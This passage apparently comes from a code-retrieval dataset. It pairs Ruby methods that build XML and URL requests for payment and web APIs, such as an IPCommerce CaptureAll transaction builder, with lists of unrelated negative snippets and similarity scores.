do |asset|\n xml.page {\n asset.map do |field, value|\n Array.wrap(value).each { |v| xml.send(field + '_', v) }\n end\n }\n end\n }\n }\n }\n }.to_xml\n end", "def make_url(params)\n escaped_params = params.sort_by { |k,v| k.to_s }.map do |k,v|\n \"#{URI.escape k.to_s}=#{URI.escape v.to_s}\"\n end\n\n url = @url.dup\n url.query = escaped_params.join '&'\n return url\n end", "def to_xml(xm)\n xm.ResourceTemplate do |xm|\n value_tag(xm, \"rel\")\n value_tag(xm, \"name\")\n value_tag(xm, \"path_template\")\n value_tag(xm, \"uri_template\")\n\n list_tag(xm, params, \"Params\", \"param\")\n list_tag(xm, optional_params, \"OptionalParams\", \"param\")\n\n # could use a list of elements here, but let's follow HTTP's lead and reduce the verbosity\n xm.options(options.join(\", \")) unless options.empty?\n\n resource_templates.to_xml(xm) unless resource_templates.empty?\n end\n xm\n end", "def prepare_params(params)\n s_params = {}\n params.each_pair {|k,v| s_params[k.to_s] = v }\n s_params['api_key'] = FacebookApi.api_key\n s_params['v'] = FacebookApi::API_VERSION\n s_params['call_id'] = Time.now.to_f.to_s\n s_params['format'] = 'JSON'\n s_params['sig'] = FacebookApi.calculate_signature(s_params)\n s_params\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml.network do\n xml.name name if name\n xml.uuid uuid if uuid\n\n bridge.to_xml(xml)\n ip.to_xml(xml)\n end\n end.to_xml\n end", "def generate_request_url(params)\n \n \n # Set current timestamp if not set\n params[\"Timestamp\"] = Time.now.gmtime.iso8601 if !params.key?(\"Timestamp\")\n\n # Generate the canonical query\n canonical_query_string = params.sort.collect do |key, value|\n [URI.escape(key.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\")), URI.escape(value.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))].join('=')\n end.join('&')\n\n # Generate the string to be signed\n string_to_sign = \"GET\\n#{ENDPOINT}\\n#{REQUEST_URI}\\n#{canonical_query_string}\"\n\n # Generate the signature required by the Product Advertising API\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), ENV['SECRET_KEY'], string_to_sign)).strip()\n\n # Generate the signed URL\n request_url = \"http://#{ENDPOINT}#{REQUEST_URI}?#{canonical_query_string}&Signature=#{URI.escape(signature, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))}\"\n\n puts \"Signed URL: \\\"#{request_url}\\\"\"\n end", "def initialize_payment_data(params)\n []\n end", "def to_xml\n Element.new(name).tap do |org|\n org << company_name\n org << phone_number\n org << attention_name\n org << address\n org << tax_identification_number\n org << email_address\n org << vendor_info unless opts[:sender_ioss_number].to_s.empty?\n end\n end", "def failed_purchase_response\n <<-XML\n <emattersResponse>\n <emattersRcode>902</emattersRcode>\n <emattersUID>001</emattersUID>\n <emattersAmount>10.99</emattersAmount>\n <emattersAuthCode>4847784</emattersAuthCode>\n <emattersCardType>VISA</emattersCardType>\n <emattersTrxnReference>00000011120</emattersTrxnReference>\n <emattersMainID>0099887766554433</emattersMainID>\n </emattersResponse>\n XML\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n \r\n if params[:new_customer_token] && params[:new_customer_token] != false\r\n @PARAM_HASH['NEW_CUST_TOKEN'] = params[:new_customer_token] == true ? SecureRandom.hex(8) : params[:new_customer_token]\r\n end\r\n end", "def request_wrap\n xml = <<-XML\n<CallSource version=\"E\">\n<Username>#{@user}</Username> \n<Authentication>#{auth_token}</Authentication> \n#{@service_tag}\n</CallSource>\n XML\n xml.strip!\n end", "def send_return_history_request(attrs={})\n request = ReturnHistoryRequest.new(attrs.merge({:http_biz_id=>@http_biz_id, :udi_auth_token=>@udi_auth_token}))\n response = get(request.to_xml.to_s)\n return response if request.raw_xml==true || request.raw_xml==1\n ReturnHistoryResponse.format(response)\n end", "def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end", "def format_url(url_params)\n url_base = \"https://agencyrecruiting.apihealthcare.com/UAM2/index.cfm\"\n args = format_arguments(url_params)\n url = \"#{url_base}?#{args}\"\n return url\n end", "def to_xml(options = T.unsafe(nil), &block); end", "def to_xml\n\t\t\tresult_string = String.new\n\t\t\tresult_string << \"<results>\\n\"\n\t\t\t@results.each do |result|\n\t\t\t\tresult_string << \"\\t<vtresult>\\n\"\n\t\t\t\tRESULT_FIELDS.each{|field|\n\t\t\t\t\tresult_string << \"\\t\\t<#{field.to_s}>#{result[field]}</#{field.to_s}>\\n\" unless field == :permalink and result['permalink'].nil?\n\t\t\t\t}\n\t\t\t\tresult_string << \"\\t</vtresult>\\n\"\n\t\t\tend if @results != nil\n\t\t\tresult_string << \"</results>\\n\"\n\n\t\t\tresult_string\n\t\tend", "def get_payment_status(attributes = {})\n ::Nokogiri::XML::Builder.new(:encoding => \"utf-8\") do |xml|\n xml.send(\"soapenv:Envelope\", \"xmlns:soapenv\" => \"http://schemas.xmlsoap.org/soap/envelope/\", \"xmlns:v1\" => \"http://gpe.cz/pay/pay-ws/proc/v1\", \"xmlns:type\" => \"http://gpe.cz/pay/pay-ws/proc/v1/type\") {\n xml.send(\"soapenv:Header\")\n xml.send(\"soapenv:Body\") {\n xml.send(\"v1:getPaymentStatus\") {\n xml.send(\"v1:paymentStatusRequest\") {\n xml.send(\"type:messageId\", attributes[:message_id])\n xml.send(\"type:provider\", \"0100\")\n xml.send(\"type:merchantNumber\", attributes[:merchant_number])\n xml.send(\"type:paymentNumber\", attributes[:order_number])\n xml.send(\"type:signature\", attributes[:digest])\n }\n }\n }\n }\n end.to_xml\n end", "def generate_revision_page(payments)\n payments.to_xml(:skip_instruct => true, :root => 'slice')\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code = authorization.to_s.split(';')\n \n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n \n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def build_xml(target, type, value)\n <<-EOF.gsub(/^ {8}/, '')\n <?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\n <entry\n xml:base=\"/p/p.svc/\"\n xmlns:d=\"http://schemas.microsoft.com/ado/2007/08/dataservices\"\n xmlns:m=\"http://schemas.microsoft.com/ado/2007/08/dataservices/metadata\"\n xmlns=\"http://www.w3.org/2005/Atom\">\n <id></id>\n <title type=\"text\"></title>\n <updated>#{@time}</updated>\n <author><name /></author>\n <category term=\"pomegranateModel.Asset\" scheme=\"http://schemas.microsoft.com/ado/2007/08/dataservices/scheme\" />\n <content type=\"application/xml\">\n <m:properties>\n <d:AssetID>--</d:AssetID>\n <d:AssetData>#{type === \"TEXT\" ? escape_xml(value) : value}</d:AssetData>\n <d:AssetType>#{type}</d:AssetType>\n <d:AssetMeta></d:AssetMeta>\n <d:AssetRecordID>#{@record_id}</d:AssetRecordID>\n <d:Target>#{target}</d:Target>\n <d:Client>#{@client_id}</d:Client>\n <d:Status>#{@client_id == \"P0\" ? \"UPLOADED\" : \"APPROVED\"}</d:Status>\n </m:properties>\n </content>\n </entry>\n EOF\n end", "def build_url(params_hash)\n param_string = '?' + params_hash.merge(:LicenseKey => @license_key).map { |k, v| \"#{::CGI.escape(k.to_s)}=#{::CGI.escape(v.to_s)}\" }.sort.join('&')\n URI.parse(File.join(endpoint_url, @name + param_string))\n end", "def to_xml\n doc = XrdDocument.new\n doc.links << { rel: 'lrdd',\n type: 'application/xrd+xml',\n template: @webfinger_template_url }\n doc.to_xml\n end", "def reserve(params)\n AmazonProcessor.validate_reservation_response params\n raise PreconditionsError, 'Payment state should be :created' unless payment.created?\n r_amount = Remit::RequestTypes::Amount.new ({value: payment.amount, currency_code: 'USD'})\n caller_ref = new_caller_reference\n request = Remit::Reserve::Request.new ({\n recipient_token_id: recipient_token,\n sender_token_id: params[:tokenID],\n caller_reference: caller_ref,\n transaction_amount: r_amount,\n charge_fee_to: 'Caller'\n })\n\n response = remit.reserve(request)\n\n raise ApiInteractionError, response.errors.join('; ') unless response.errors.empty?\n\n update_attribute :transaction_id, response.reserve_result.transaction_id\n update_attribute :caller_reference, caller_ref\n payment.update_attribute :state, :reserved\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @api = \"bp10emu\"\r\n end", "def build_url(url, params = nil)\n if params.respond_to? :each\n params.each do |key, value|\n # Convert dates to CC date format\n if value.respond_to? :iso8601\n params[key] = value.iso8601\n end\n\n if key.to_s == 'next' && value.match(/^.*?next=(.*)$/)\n params[key] = $1\n end\n end\n else\n params ||= {}\n end\n url + '?' + Util::Helpers.http_build_query(params)\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code, ca_reference = authorization.to_s.split(';')\n\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n\n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id]) unless options[:order_id].nil?\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def successful_purchase_response\n <<~XML\n <ccTxnResponseV1 xmlns=\"http://www.optimalpayments.com/creditcard/xmlschema/v1\">\n <confirmationNumber>126740505</confirmationNumber>\n <decision>ACCEPTED</decision>\n <code>0</code>\n <description>No Error</description>\n <authCode>112232</authCode>\n <avsResponse>B</avsResponse>\n <cvdResponse>M</cvdResponse>\n <detail>\n <tag>InternalResponseCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>SubErrorCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>InternalResponseDescription</tag>\n <value>no_error</value>\n </detail>\n <txnTime>2009-01-08T17:00:45.210-05:00</txnTime>\n <duplicateFound>false</duplicateFound>\n </ccTxnResponseV1>\n XML\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['credentialLevel'] = credential_level unless credential_level.nil?\n xml.tag!('PhysicalVerification', attributes)\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ProxyCount'] = proxy_count if proxy_count\n xml.tag!('samlp:Scoping', attributes) {\n xml << idp_list.to_xml if idp_list\n requester_ids.each { |requester_id| xml << requester_id.to_xml }\n }\n end", "def to_xml()\n \t el = REXML::Element.new('mp')\n \t el.add_attribute(\"name\", \"#{@mdef}\")\n \t if @opts.key?(:interval)\n \t el.add_attribute(\"interval\", \"#{@opts[:interval]}\")\n elsif @opts.key?(:samples)\n \t el.add_attribute(\"samples\", \"#{@opts[:samples]}\")\n end\n \t if @filters.size > 0\n @filters.each { |f|\n el.add_element(f.to_xml)\n \t }\n \t end\n \t return el\n \tend", "def get_xml(params = {:format => :xml, :action => :query})#TODO put these in so that they're default and not lost when we pass stuff in...\n url = _form_url(params)\n \n #TODO wonder if I should make a generic library for external url requests, to standardize the header/etc?\n #requests without user-agents are refused. See:\n #http://www.mooduino.co.uk/2010/04/wikipedia-api-user-agent-string-in-php.html\n retries = 2\n begin\n http = Net::HTTP.new(WIKI_API_SERVER) #en.wikipedia.org\n resp = http.request_get(WIKI_API_PATH + url, 'User-Agent' => 'WikipediaAntiSpamBot/0.1 (+hincapie.cis.upenn.edu)')\n \n raise \"POST FAILED:\" + resp.inspect unless resp.is_a? Net::HTTPOK or resp.is_a? Net::HTTPFound\n #retry if resp.body.to_s.empty?\n resp.body\n rescue Net::HTTPBadResponse, Errno::ECONNRESET, Errno::ETIMEDOUT, Errno::ECONNREFUSED, SocketError, \n Timeout::Error, Errno::EINVAL, EOFError, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n if retries > 0\n retries -= 1\n retry\n else\n raise Exception.new(\"Connection timed out after more than 3 retries: #{e}\")\n end\n end\nend", "def to_xml_with_cleanup(options = {}, &block)\n to_xml_without_cleanup options.merge(:include => [:records], :except => [:user_id], &block)\n end", "def prepare_rho_api_params_structure_lines(root_params, name)\n tmp_lines = []\n prepare_rho_api_params_structure_line(root_params, name, tmp_lines)\n return tmp_lines\n end", "def to_xml\n response\n end", "def queryTransactionsDetailJSON(params)\n begin\n { \n :TransactionDetailFormat => 'CWSTransaction',\n :PagingParameters => { \n :Page => 0, \n :PageSize => 10\n },\n :QueryTransactionsParameters => { \n :Amounts => nil,\n :ApprovalCodes => nil,\n :BatchIds => batch_ids(params),\n :CaptureDateRange =>nil,\n :CaptureStates => nil,\n :TransactionIds => mul_trd(params),\n :MerchantProfileIds => nil,\n :CardTypes => nil,\n :IsAcknowledged=> \"false\",\n :OrderNumbers => nil,\n :QueryType => \"OR\",\n :ServiceIds => nil,\n :ServiceKeys => nil,\n :TransactionClassTypePairs=> nil,\n :TransactionDateRange=> transaction_date_range(params),\n :TransactionStates => nil,\n },\n :IncludeRelated => 'false' \n }.to_json\n rescue Exception => ex\n return \"Some value not set in querytransactiondetail, batchid, transactionid or transactiondates!\"\n end\n end", "def full_options(params)\n {\n :timestamp => Time.now.strftime(\"%F %T\"),\n :v => API_VERSION,\n :format => :xml,\n :sign_method => :md5,\n :app_key => config['app_key']\n }.merge params\n end", "def params\n @params ||= @document.root.get_elements(\"params/param\").map {|e|\n XmlRpc::API::Message.parse_value(e.elements[\"value\"])\n } \n end", "def ta_response(params)\n url = \"\"\n params.each do |param|\n url = url + \"&\" if url != \"\"\n url = url + param.to_s + \"=\" + URI::encode(@options[param].to_s)\n end \n response = get_html_content(@start_url + \"?\" + url)\n puts url \n return response\n end", "def sale(params = {})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def request_url(command, params)\n url = \"http://www.openaustralia.org/api/#{command}?key=#{@key}&output=xml\"\n params.each do |k,v|\n key = CGI::escape(k.to_s)\n value = CGI::escape(v.to_s)\n url += \"&#{key}=#{value}\"\n end\n url\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.AddressValidationRequest(:xmlns => \"http://fedex.com/ws/addressvalidation/v2\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_request_timestamp(xml)\n add_options(xml)\n add_address(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def initialize \n @params = Struct::RefundParams.new\n @params.order = Struct::Order.new\n @params.metadata = Struct::Metadata.new\n @params.version = Struct::Version.new\n end", "def successful_purchase_response\n <<-XML\n <emattersResponse>\n <emattersRcode>08</emattersRcode>\n <emattersUID>001</emattersUID>\n <emattersAmount>10.99</emattersAmount>\n <emattersAuthCode>4847784</emattersAuthCode>\n <emattersCardType>VISA</emattersCardType>\n <emattersTrxnReference>00000011120</emattersTrxnReference>\n <emattersMainID>0099887766554433</emattersMainID>\n </emattersResponse>\n XML\n end", "def to_xml(options={})\n str = \"<error>\"\n str += \" <developerMessage>#{@developerMessage}</developerMessage>\"\n str += \" <userMessage>#{@userMessage}</userMessage>\"\n str += \"</error>\"\n end" ]
[ "0.6529044", "0.58121485", "0.5811484", "0.57375544", "0.5713359", "0.5691076", "0.56645983", "0.56645983", "0.56412566", "0.5442697", "0.5421733", "0.54156053", "0.5411612", "0.53594863", "0.5285797", "0.51085186", "0.49571383", "0.49557737", "0.49514523", "0.49485812", "0.49345922", "0.4926033", "0.4916899", "0.49019748", "0.4894412", "0.48932108", "0.48840445", "0.4877245", "0.48464215", "0.48126808", "0.4806115", "0.4784581", "0.47742203", "0.47632667", "0.47613797", "0.47520053", "0.4750103", "0.4728322", "0.47219917", "0.47165197", "0.47165197", "0.47165197", "0.47165197", "0.47165197", "0.47165197", "0.46923926", "0.4688214", "0.46799487", "0.46421018", "0.4640241", "0.46318042", "0.4626338", "0.46195444", "0.4617326", "0.46130046", "0.46077254", "0.45924336", "0.45805463", "0.45774207", "0.4573014", "0.4564464", "0.45641914", "0.4562713", "0.45578974", "0.45501956", "0.4538563", "0.4534108", "0.45327723", "0.45324785", "0.45249164", "0.45213836", "0.45176703", "0.45155066", "0.45134652", "0.45125967", "0.45109835", "0.45080817", "0.45035896", "0.4500088", "0.4497808", "0.4496203", "0.44802865", "0.44742057", "0.44700193", "0.4468937", "0.44666907", "0.44654718", "0.44629997", "0.44606605", "0.44520634", "0.44496286", "0.44457415", "0.4444839", "0.44408175", "0.442803", "0.44270355", "0.4426165", "0.44250262", "0.4424197", "0.44206885" ]
0.7450421
0
Create CaptureAll xml as per the api format . "params" is collection keyvalues, in this "params" holds list of Capture transactions. It returns xml format in string.
def captureAllXML() begin Nokogiri::XML::Builder.new do |xml| xml.CaptureAll('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"CaptureAll" ) { xml.ApplicationProfileId application_profile_id xml.MerchantProfileId merchant_profile_id xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> "true") xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil'=> "true") } end.to_xml rescue Exception => ex return "Some value not set in xml for captureAllXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def to_xml\n raise WebexXmlApi::NotEnoughArguments, 'SecurityContext' unless valid?\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.header do\n xml.securityContext do\n PARAMETER_MAPPING.each_pair do |k, v|\n xml.send(v, send(k)) if send(k)\n end\n end\n end\n end\n builder.to_xml.gsub(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\", '')\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ProxyCount'] = proxy_count if proxy_count\n xml.tag!('samlp:Scoping', attributes) {\n xml << idp_list.to_xml if idp_list\n requester_ids.each { |requester_id| xml << requester_id.to_xml }\n }\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n 